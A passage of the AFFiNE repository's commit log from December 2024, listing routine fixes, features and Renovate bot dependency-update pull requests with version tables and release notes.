| [tiktoken](https://redirect.github.com/dqbd/tiktoken) | [`1.0.17` -> `1.0.18`](https://renovatebot.com/diffs/npm/tiktoken/1.0.17/1.0.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tiktoken/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tiktoken/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tiktoken/1.0.17/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tiktoken/1.0.17/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.18.0` -> `8.18.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.18.0/8.18.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.18.0/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.18.0/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.1.0` -> `7.2.0`](https://renovatebot.com/diffs/npm/undici/7.1.0/7.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.1.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.1.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.3` -> `6.0.5`](https://renovatebot.com/diffs/npm/vite/6.0.3/6.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.3/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.3/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.95.0` -> `3.99.0`](https://renovatebot.com/diffs/npm/wrangler/3.95.0/3.99.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.99.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.99.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.95.0/3.99.0?slim=true)](https://docs.reno
2024-12-23 03:24:06 +00:00
EYHN
cddef4c2f6 fix(admin): fix the admin app (#9233) 2024-12-23 03:06:31 +00:00
Mirone
ec5bbb442f ci: add code owners for blocksuite (#9234) 2024-12-23 11:05:36 +08:00
Saul-Mirone
ea6a05632b ci: shard vitest to speed up unit test (#9235) 2024-12-21 03:37:20 +00:00
Saul-Mirone
3a82da0e5b chore: fix eslint in blocksuite (#9232) 2024-12-20 16:48:10 +00:00
Saul-Mirone
bfcc53dc1f chore: migrate blocksuite test (#9222) 2024-12-20 11:08:21 +00:00
EYHN
f788fdd0a4 fix(core): revalidate quota and subscription when subscribing (#9220) 2024-12-20 09:31:52 +00:00
pengx17
bdbefd3e28 fix(core): backlinks styles (#9126)
fix AF-1946
2024-12-20 09:06:46 +00:00
EYHN
cbaf35df0b feat(nbstore): add nbstore worker (#9185) 2024-12-20 08:01:23 +00:00
Mirone
30200ff86d chore: merge blocksuite source code (#9213) 2024-12-20 15:38:06 +08:00
Brooooooklyn
2c9ef916f4 style: do not autofix eslint directive (#9218) 2024-12-20 06:28:44 +00:00
EYHN
f8e7abd018 fix(core): indexer data loss (#9216) 2024-12-20 06:10:50 +00:00
CatsJuice
a53e231bad feat(component, mobile): masonry layout with virtual scroll support, adapted with all docs (#9208)
### Preview

![CleanShot 2024-12-19 at 20.41.47.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/60a701ea-bca0-42d5-8a06-f10af44c8fc8.gif)

### Render when scrolling

![CleanShot 2024-12-20 at 09.54.26.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/df0008d7-5bd9-4e98-b426-cb1036dbb611.gif)

### api
```tsx
const items = useMemo(() => {
    return {
        id: '',
        height: 100,
        children: <div></div>
    }
}, [])

<Masonry items={items} />
```
2024-12-20 05:32:17 +00:00
JimmFly
2988dc284e chore: adjust input style (#9217) 2024-12-20 04:18:34 +00:00
JimmFly
978c4c69b7 chore: bump theme (#9214) 2024-12-20 04:01:17 +00:00
L-Sun
e378f591cb fix(mobile): add missing mobile date selector and remove focus style from date picker in mobile (#9215)
Close [BS-2169](https://linear.app/affine-design/issue/BS-2169/新的-menu-不支持移动端)

### What changes
- add missing date-selector for mobile
- remove focus style of date picker for mobile
  ![CleanShot 2024-12-20 at 11.27.09@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/7a9b1c1a-e4aa-4746-9242-f1b8c12cd630.png)
2024-12-20 03:39:49 +00:00
fundon
d7983c50e3 chore(core): add event tracking for attachments (#9198)
Part of: [AF-1678](https://linear.app/affine-design/issue/AF-1678/添加埋点)
2024-12-20 02:43:11 +00:00
JimmFly
7ff24e9c1c fix(core): adjust admin permission (#9204)
close AF-2001 AF-2002
2024-12-20 02:26:17 +00:00
pengx17
0fdf2c4905 fix(core): indexer worker crash on unexpected markdown indent (#9210) 2024-12-20 02:08:44 +00:00
renovate
c6603ad182 chore: bump up @blocksuite/affine version to v0.19.5 (#9202)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.3` -> `0.19.5`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.3/0.19.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.3/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.3/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.5`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0195)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.4...v0.19.5)

##### Patch Changes

-   [`d2a3eb7`](https://redirect.github.com/toeverything/blocksuite/commit/d2a3eb7): Release patch version.

### [`v0.19.4`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0194)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.3...v0.19.4)

##### Patch Changes

-   [`8ae61d6`](https://redirect.github.com/toeverything/blocksuite/commit/8ae61d6): Improves edgeless viewport stability

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-19 10:30:20 +00:00
Brooooooklyn
4c48aee88b ci: remove nx-cloud (#9203) 2024-12-19 07:58:45 +00:00
pengx17
da0f3d0b56 chore(core): some dnd events (#9206)
fix AF-1999
2024-12-19 07:42:13 +00:00
EYHN
30588783ef fix(mobile): disable blob sync on mobile (#9200) 2024-12-19 03:54:34 +00:00
pengx17
6dc512e0da fix(core): dnd should not create new doc on dragging start (#9201)
fix AF-2000
2024-12-19 03:28:29 +00:00
JimmFly
a153a1c3c9 feat(core): add app version to request header (#9101) 2024-12-19 02:38:08 +00:00
JimmFly
70deeaa804 fix(core): adjust member limit dialog (#9195)
close AF-1945 AF-1989 AF-1981 AF-1998 AF-1950 AF-1951

Adjust the member limit dialog. Now it will determine whether the member limit is reached when clicking Send Invite Email.
Modified the notification after sending the invitation.
2024-12-19 02:23:35 +00:00
fundon
def4dc854a feat(core): impl doc display meta extension (#9165)
Closes: [BS-2111](https://linear.app/affine-design/issue/BS-2111/定义和实现-docdisplaymetaextension)
Upstreams: https://github.com/toeverything/blocksuite/pull/8953

https://github.com/user-attachments/assets/008d7433-efef-47c4-8189-9bc288e61199
2024-12-19 01:02:27 +00:00
renovate
ef0f6e5993 chore: bump up @blocksuite/affine version to v0.19.3 (#9197)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.2` -> `0.19.3`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.2/0.19.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.2/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.2/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.3`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0193)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.2...v0.19.3)

##### Patch Changes

-   [`59e0cd6`](https://redirect.github.com/toeverything/blocksuite/commit/59e0cd6): Release patch version.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-18 14:57:01 +00:00
JimmFly
cbb52c69b2 chore: temporarily hide link invitation (#9193)
close AF-1992 AF-1995 AF-1979 AF-1997

chore: temporarily hide link invitation

fix(core): only team workspace can assign admin

fix(core): member options in member list do not match expectations
2024-12-18 07:26:41 +00:00
Saul-Mirone
e13f9d3885 feat: enable new dnd flag (#9194) 2024-12-18 05:53:08 +00:00
EYHN
64b017dc1b feat(nbstore): remove async on connection api (#9187)
We should not use async on `connect` and `disconnect`, for `WebSocketConnection` will never connect when offline.

We should handle the connection status of each storage in sync, using the `connection.waitForConnect`

This PR also puts the connection reference count on the `connect` and disconnect`
2024-12-18 03:59:49 +00:00
EYHN
3fddf050a4 feat(nbstore): add doc sync state (#9131) 2024-12-18 03:59:47 +00:00
EYHN
8374346b2e feat(core): lazy load doc card (#9192) 2024-12-18 03:40:33 +00:00
EYHN
c31e9fdff4 fix(core): fix no page root error (#9190) 2024-12-18 03:39:48 +00:00
CatsJuice
2ceb6e924c fix(ios): sync keyboard color scheme when theme changed (#9184) 2024-12-18 02:16:45 +00:00
renovate
f0d99f46dd chore: bump up @blocksuite/affine version to v0.19.2 (#9175)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.1` -> `0.19.2`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.1/0.19.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.1/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.1/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.2`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0192)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.1...v0.19.2)

##### Patch Changes

-   [`bc04f27`](https://redirect.github.com/toeverything/blocksuite/commit/bc04f27): ## Feat

    -   feat: support heading toggle ([#&#8203;8829](https://redirect.github.com/toeverything/blocksuite/issues/8829))
    -   feat(blocks): add surface element plain text adapter ([#&#8203;8977](https://redirect.github.com/toeverything/blocksuite/issues/8977))
    -   feat: add doc display meta extension ([#&#8203;8953](https://redirect.github.com/toeverything/blocksuite/issues/8953))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS42OS4zIiwidXBkYXRlZEluVmVyIjoiMzkuNjkuMyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-17 12:18:46 +00:00
JimmFly
4b836cd40f fix(core): add visit workspace button to team upgrade success page (#9186)
close AF-1978
2024-12-17 11:07:48 +00:00
DarkSky
e3f922bfac fix(server): send declined email (#9188) 2024-12-17 18:15:43 +08:00
liuyi
b0e64fe516 chore: remove legacy tests (#9183) 2024-12-17 17:06:28 +08:00
darkskygit
27d4aa7ca7 test(server): add more test for team workspace (#9182) 2024-12-17 08:42:19 +00:00
JimmFly
95d1a4a27d feat(core): add sync paused dialog (#9135)
close AF-1932 AF-1954 AF-1953 AF-1955

Add a pop-up reminder when the workspace capacity exceeds the limit or the number of members exceeds the limit.
2024-12-17 05:55:41 +00:00
EYHN
ffa0231cf5 feat(nbstore): add awareness storage&sync&frontend (#9016) 2024-12-17 04:37:15 +00:00
Brooooooklyn
36ac79351f chore: disable no-dupe-args rule (#9169) 2024-12-17 03:08:11 +00:00
CatsJuice
d3e7edf7c4 fix(mobile): can navigate in journal conflicts (#9170) 2024-12-17 02:54:10 +00:00
CatsJuice
12954ec82c fix(mobile): editor error boundary is not fully visible (#9172) 2024-12-17 02:38:11 +00:00
akumatus
563da3b6f4 fix(core): in page mode, AI replace selection did not correctly replace the selected text (#9179)
Fix issue [BS-1980](https://linear.app/affine-design/issue/BS-1980).
2024-12-17 02:22:48 +00:00
EYHN
b36b398957 fix(infra): memory leak (#9013) 2024-12-16 16:55:49 +00:00
renovate
55f1cc4b1e chore: bump up all non-major dependencies (#9149)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.709.0` -> `3.712.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.709.0/3.712.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@commitlint/cli](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@commitlint/cli)) | [`19.6.0` -> `19.6.1`](https://renovatebot.com/diffs/npm/@commitlint%2fcli/19.6.0/19.6.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@commitlint%2fcli/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@commitlint%2fcli/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@commitlint%2fcli/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@commitlint%2fcli/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.16.0` -> `9.17.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.16.0/9.17.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.16.0/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.16.0/9.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@oxc-node/core](https://redirect.github.com/oxc-project/oxc-node) | [`^0.0.15` -> `^0.0.16`](https://renovatebot.com/diffs/npm/@oxc-node%2fcore/0.0.15/0.0.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@oxc-node%2fcore/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@oxc-node%2fcore/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@oxc-node%2fcore/0.0.15/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@oxc-node%2fcore/0.0.15/0.0.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.44.0` -> `8.45.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.44.0/8.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.44.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.44.0/8.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@tanstack/react-table](https://tanstack.com/table) ([source](https://redirect.github.com/TanStack/table/tree/HEAD/packages/react-table)) | [`8.20.5` -> `8.20.6`](https://renovatebot.com/diffs/npm/@tanstack%2freact-table/8.20.5/8.20.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tanstack%2freact-table/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tanstack%2freact-table/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tanstack%2freact-table/8.20.5/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tanstack%2freact-table/8.20.5/8.20.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [commitlint](https://commitlint.js.org/) ([source](https://redirect.github.com/conventional-changelog/commitlint/tree/HEAD/@alias/commitlint)) | [`19.6.0` -> `19.6.1`](https://renovatebot.com/diffs/npm/commitlint/19.6.0/19.6.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/commitlint/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/commitlint/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/commitlint/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/commitlint/19.6.0/19.6.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [fast-xml-parser](https://redirect.github.com/NaturalIntelligence/fast-xml-parser) | [`4.5.0` -> `4.5.1`](https://renovatebot.com/diffs/npm/fast-xml-parser/4.5.0/4.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/fast-xml-parser/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/fast-xml-parser/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/fast-xml-parser/4.5.0/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/fast-xml-parser/4.5.0/4.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [graphql](https://redirect.github.com/graphql/graphql-js) | [`16.9.0` -> `16.10.0`](https://renovatebot.com/diffs/npm/graphql/16.9.0/16.10.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/graphql/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/graphql/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/graphql/16.9.0/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/graphql/16.9.0/16.10.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [idb](https://redirect.github.com/jakearchibald/idb) | [`8.0.0` -> `8.0.1`](https://renovatebot.com/diffs/npm/idb/8.0.0/8.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/idb/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/idb/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/idb/8.0.0/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/idb/8.0.0/8.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.3` -> `15.0.4`](https://renovatebot.com/diffs/npm/marked/15.0.3/15.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.3/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.3/15.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [msw](https://mswjs.io) ([source](https://redirect.github.com/mswjs/msw)) | [`2.6.8` -> `2.6.9`](https://renovatebot.com/diffs/npm/msw/2.6.8/2.6.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/msw/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/msw/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/msw/2.6.8/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/msw/2.6.8/2.6.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [nodemon](https://nodemon.io) ([source](https://redirect.github.com/remy/nodemon)) | [`3.1.7` -> `3.1.9`](https://renovatebot.com/diffs/npm/nodemon/3.1.7/3.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nodemon/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nodemon/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nodemon/3.1.7/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemon/3.1.7/3.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
